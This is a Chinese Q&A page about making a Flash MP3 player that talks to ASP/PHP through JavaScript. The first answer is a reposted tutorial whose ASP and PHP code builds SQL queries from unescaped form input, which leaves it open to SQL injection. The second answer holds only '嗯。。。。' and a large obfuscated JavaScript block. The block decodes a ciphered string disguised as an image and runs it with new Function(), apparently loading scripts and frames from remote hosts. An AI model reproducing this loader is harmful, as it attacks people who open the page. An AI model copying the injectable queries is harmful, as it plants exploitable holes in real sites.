求 Js + FLASH+asp 引用方法

2025-02-25 10:41:32
推荐回答(2个)
回答1:

Flash 以Javascript 为中介和 ASP/PHP 交互

目标:
1. 播放mp3,基本播放控制功能(暂停,继续,索引,音量控制等);
2. 当前曲目循环、列表曲目循环
实现:
1. 音乐列表从数据库中动态检索
2. 提供添加音乐 URL 的界面

这里,我的思路是:用户访问 ASP(PHP) 页面 => ASP(PHP) 请求数据库 => 返回数据集 => ASP(PHP) 将数据集写为 Javascript 变量 => Javascritp 通过 Flash 的接口函数写到 Flash 中的 DynamicText 变量中 => Flash 将列表显示
这样就出现了一个问题,文件列表的数量是不定的,怎么在 Flash 中处理,设置几个变量呢?我的解决办法是(也许不是很好的办法,但是却很简单,如果高手有更好的方法,请不吝赐教,谢谢了):在 Flash 中设置两个变量,一个是保存文件名 varSongname 另一个是保存 URL varUrl。在 Server 端就生成形如(本文中的英文引号被自动替换成了中文引号,请注意):

var strSongname = “Songname1,Songname2,Songname3“;

的客户端 Javascript 的变量定义/赋值语句,然后再使用 SetVariable() 语句将此变量传入 Flash 中,Flash 就将字符串 split() 成数组,然后,不用我教了吧?各就各位的显示出来吧

在这样的思路指导下,诞生了3个文件(sFMP的意思是simple Flash MP3 Player) 1 ) sFMP.swf - Flash 文件作为用户界面;2 ) sFMP.asp (.php) - 请求数据库将文件列表作为 Javascript 的变量写入返回的 HTML 文件;3 ) add.asp (.php) 添加 URL 的页面。下面就具体讲解每个文件的程序逻辑,和工作步骤:

sFMP.swf 的制作

由于用的是 Flash MX 2004 Professional 所以直接就借用了里面许多组件。(不过要慎重,因为一旦加入 ActionScript 2.0 和组件的支持,文件就会增肥,一般会变大60多KB,视使用组件多少而定。具体原因可能是要包含许多组建库的缘故吧?)下面是里面使用到的组件:

MediaPlayback 组件:
可以直接播放 MP3 很方便。其包括很多属性和方法、事件。Macromedia 里面有比较详细的说明。
InstanceName: _player
Action:

on (load) { // 可以插入一些播放器初始化代码
}
on (complete) { // 这个事件当一首音乐播放完毕时产生
// switching process
if (_root._cbLoopCur.selected == true) {
// 当选择了循环播放当前曲目
_root._player.play();
} else {
if (_root._cbLoopAll.selected == true) {
// 选择了循环播放全部列表曲目
var iIndexRead:Number = _root.SongsList.selectedIndex;
// 将列表中的选择高亮条下移一个
// 如果已经到末尾则重置
iIndexRead++;
if (iIndexRead > _root.SongsList.length - 1) {
// set current song index = 0
iIndexRead = 0;
}
// 更新 List 显示
_root.SongsList.selectedIndex = iIndexRead;
// 这里调用一个函数用来取得播放列表当前选择的 URL
// 并用setMedia()和play()方法使播放器播放曲目
// 由于比较简单所以略掉了
}
}
}
on (change) { // 正在播放音乐时候
}
on (progress) { // 正在下载音乐文件的时候
}

List 组件:
用来显示从数据库中检索的文件列表。
InstanceName: SongsList
Action:

on (change) {
// player control
// get list item data
var str:String = this.getItemAt(this.selectedIndex).data;
if (str.length>0 && str != undefined) {
// open the URL
_root._player.setMedia(str, "MP3");
if (_root._player.contentPath.length>0) {
_root._player.play();
}
}
}
/*
从列表中读出当前选择的文件,取得其的 data (假设已经从数据库中读出所需资料,label 显示文件名
data 则储存的是文件的 URL)
由于将 MediaPlayback 组件设为 Autostart = false 所以需要运行 play() 方法使其开始播放
如果 Autostart = true 则一旦设置了 contentPath 属性,就立即载入并播放
*/

Checkbox 组件:
有两个,分别用来选择是单曲循环还是列表循环。
InstanceName: _cbLoopCur 、_cbLoopAll
Action:
两者是互斥关系,选择一个就取消另一个,两个都不选就是播放选择曲目一遍,代码简单,略。

Dynamic Text 框:
有两个,虽然不是组件,但却是和 Javascript 等实现交互的关键。
Variable: varSongname 、varUrl
两个变量分别是保存外界传入的文件名和 URL 。

Tips:
在 Javascript 中,Flash 专门提供了很多接口函数,这里用到的就是设置 Flash 中变量的 SetVariable(variable_name,value) 函数;Flash 中,也提供了一个和 Javascript 交互的 ActionScript 函数 fscommand() 。

sFMP.asp(php) 文件程序逻辑:

这个的程序很简单,我就不废话,直接贴代码了,如果有不懂的,可以问我,电子邮件联络。

<%
' 这是 sFMP.asp 的部分源代码,经过了一些修改,可能会包含一些错误,因为没有经过测试
' 有一些环境可能和你机器上面不同,请相应修改。
' 修改前的完整源代码是经过 Windows98 + PWS + Access 环境的测试的
' 所以使用之前请仔细检查有无拼写或其他明显错误,谢谢!

Option Explicit
Dim rsFiles, cnn, strSql, strCnn
' 使用 ADO 链接数据库,取得数据集,常规做法没什么好讲的
strCnn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("songs.mdb")
Set cnn=Server.CreateObject("ADODB.Connection")
cnn.Open strCnn

strSql="SELECT * FROM songsInfo WHERE type='mp3' ORDER BY id DESC"
Set rsFiles=Server.CreateObject("ADODB.RecordSet")
rsFiles.CursorLocation=3
rsFiles.Open strSql,cnn,2,3

' 如果取得数据集失败则停止执行,输出错误
If TypeName(rsFiles)="Nothing" Then
Response.Write("open RecordSet error
")
Response.End()
End If
%>




以上的 ASP 的代码,其实 sFMP.php 也很简单,链接数据库换成 mysql_connect / mysql_db_query / mysql_fetch_object 相应函数 Response.Write()换成echo 就可以了。由于我的 php 页面不是使用的 Javascript 和 Flash 交互的方式(而是下面将要讲的 Flash 和 ASP(PHP) 直接交互的方式),所以没有这方面的代码,不好意思了。

add.asp(php) 的程序逻辑:

这个就更简单了,需要一个表和一段ASP(PHP)代码就搞定了:

这是 HTML 表单,包含在add.asp(php)文件中,其 action 就是指向自己



名字:
链接地址:



这是 ASP 代码段

<%
' 这是 add.asp 的部分源代码,经过了一些修改,可能会包含一些错误,因为没有经过测试
' 有一些环境可能和你机器上面不同,请相应修改。
' 修改前的完整源代码是经过 Windows98 + PWS + Access 环境的测试的
' 所以使用之前请仔细检查有无拼写或其他明显错误,谢谢!

Dim strOutput
Dim strNameOfSong:strNameOfSong = Trim(Request.Form("name"))
Dim strUrl:strUrl = Trim(Request.Form("url"))'Server.URLEncode()

If Len(strUrl) > 0 Then
' 其中可以添加对 URL 的合法性检查,这里略去
strCnn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("songs.mdb")
Set cnn=Server.CreateObject("ADODB.Connection")
cnn.Open strCnn

strSql="INSERT INTO songsInfo (url, name) VALUES ('"&strUrl&"','"&strNameOfSong&"')"
If IsEmpty(cnn.Execute(strSql)) Then
strOutput = "添加数据失败,可能数据库出了点问题,请联系管理员,谢谢使用!"
Else
strOutput = "添加数据成功,您可以继续添加,谢谢使用!"
End If
End If

%>

这是 php 代码片断
// 这是 add.php 的部分源代码,经过了一些修改,可能会包含一些错误,因为没有经过测试
// 有一些环境可能和你机器上面不同,请相应修改。
// 修改前的完整源代码是经过 Windows98 + Apache2.0 + MySQL4.0 环境的测试的
// 所以使用之前请仔细检查有无拼写或其他明显错误,谢谢!

$strNameOfSong = trim($HTTP_POST_VARS['name']);
$strUrl = trim($HTTP_POST_VARS['url']);

if ( strlen($strUrl)>0) {
// executeSql() 是自定义函数,其作用是连接数据库,返回 mysql_db_query() 的 $result
$iResult = executeSql("INSERT INTO songsInfo (url, name) VALUES ('$strUrl','$strNameOfSong')");
if (!$iResult) {
$strOutput = "Appending failed. Maybe some errors occured. Please contact Admin. Thanks for your support!";
}else{
// successfully execute
$strOutput = "The file has successfully appended. You can append another file now. Thanks for your support!";
}
}
?>

以上就是通过 Javascritpt 当中间媒介,和 ASP/PHP 交互的过程,有什么问题请告诉我,谢谢!

Flash 和 ASP / PHP 的直接交互

Flash 是可以直接作为客户端请求 ASP/PHP 页面的。但是我在实验的时候发现了一个在很多这方面相关文章没有提到的问题那就是当 ASP/PHP 页面返回变量的时候,如果是中文,那么在 Flash 中会变成乱码(不知道其他版本会不会有这个问题,但是 Flash 7.0是这样的)!当时就想到可能是 URL 编码的问题,可是一直没找到解决办法,最后突然想到了会不会是 Unicode 编码的问题?一查资料,果然发现,原来 Flash 7.0 对外部变量和文本的编码是 Unicode 的!而 ASP 3.0 的编码则不是,而是使用的本地编码,所以才会出现问题。(ASP 3.0 我没找到怎么改变编码方式,ASP.net 好像默认是 Unicode 的,也可以用 gb2312 编码)所以,既然没有办法统一为 Unicode 就只好全部统一为 gb2312 了。查了 Flash 的参考,找到一个属性是可以用来设置编码的,System.useCodepage=ture; 当将其为 true 时候,使用本地编码,反之就使用 Unicode 。还有一点要注意,就是这个属性只能在开头设置一次,如果不这样,那可能导致无法预料的后果(Flash 参考上面说的)。
在这里,我的思路是:Flash 请求 ASP/PHP 页面 => ASP/PHP 查询数据库,返回数据直接写到 Flash 变量里面 => Flash 显示列表

Flash 中使用 loadVariablesNum() 函数向 ASP/PHP 发送请求,ASP/PHP 可以根据不同请求方式(POST/GET)使用不同方法获取 Flash 中的变量(就是 DynamicText 中规定的),Reqeust.QueryString() Request.Form() / $HTTP_POST_VAR() $HTTP_GET_VAR()。
ASP/PHP 返回就更容易了,只用返回形如 varSongname=songname1,songname2,songname3&varUrl=url1,url2,url3 的字符串就可以了,这里有两点要注意:1. varSongname 和 varUrl 就是 Flash 中的 Variables ,名字要一样,不然 Flash 无法解析;2. 在输出这个字符串之前千万不要输出任何其他的字符(HTTP 头当然可以,因为它写到返回的 HTML 中),任何的都不要,包括 等HTML 标签也不要。

这样就有2个文件,sFMP.htm - 由于没有动态内容,可以直接用静态页面了;requestReciever.asp(php) - 接受请求查询数据库返回字符串,sFMP.htm 没有特别要求,把 .swf 文件嵌入里面就可以了,没有需要帖出来的地方。下面就把 requestReciever.asp(php)代码帖出来:

requestReciever.asp(php) 代码:

<%
Option Explicit
' 这是 add.asp 的部分源代码,经过了一些修改,可能会包含一些错误,因为没有经过测试
' 有一些环境可能和你机器上面不同,请相应修改。
' 修改前的完整源代码是经过 Windows98 + PWS + Access 环境的测试的
' 所以使用之前请仔细检查有无拼写或其他明显错误,谢谢!

Dim rsFiles, strDisp,cnn, strSql, strCnn
' create and open a connection object
strCnn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("songs.mdb")
Set cnn=Server.CreateObject("ADODB.Connection")
cnn.Open strCnn
' execute a SQL to create a RecordSet object
strSql="SELECT * FROM songsInfo WHERE type='"&strAsk&"' ORDER BY id DESC"
Set rsFiles=Server.CreateObject("ADODB.RecordSet")
rsFiles.CursorLocation=3
rsFiles.Open strSql,cnn,2,3
' if fails the result will be a Nothing object
If TypeName(rsFiles)="Nothing" Then
Response.Write("open RecordSet error
")
Response.End()
End If
' walkthrough the recordset and
' prepare URL/POST variables strings
Dim strName, strUrl
If rsFiles.RecordCount > 0 Then
strName = rsFiles.Fields("name")
strUrl = rsFiles.Fields("url")
rsFiles.MoveNext
Do While NOT rsFiles.EOF
strName = strName & "," &rsFiles.Fields("name")
strUrl = strUrl & "," & rsFiles.Fields("url")
rsFiles.MoveNext
Loop
End If
'response to client
Response.Write("SongName=" & Server.URLEncode(strName) & "&URL=" & strUrl)
' close the connection
' release resource
Set rsFiles = Nothing
cnn.Close()
Set cnn = Nothing
%>

下面是 requestReciever.php 的代码


$result = executeSql("SELECT * FROM songsInfo WHERE type='$strWhere' ORDER BY id DESC");
if (!$result) {
HandleErrors(__FILE__.':Open database error.
');
}else{
// walkthrough the recordset and
// prepare URL/POST variables strings
$oRows=@mysql_fetch_object($result);
$strName = $oRows->name;
$strUrl = $oRows->url;

// response to client
while ($oRows=@mysql_fetch_object($result)){
$strName .= ",".$oRows->name;
$strUrl .= ",".$oRows->url;
}
echo "SongName=".$strName ."&URL=".$strUrl
mysql_free_result($result);
}

// close the connection
// release resource
mysql_close($id_link);
?>

新闻来自: 新客网(www.xker.com) 详文参考:http://www.xker.com/page/e2007/0118/19309.html

回答2:

嗯。。。。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();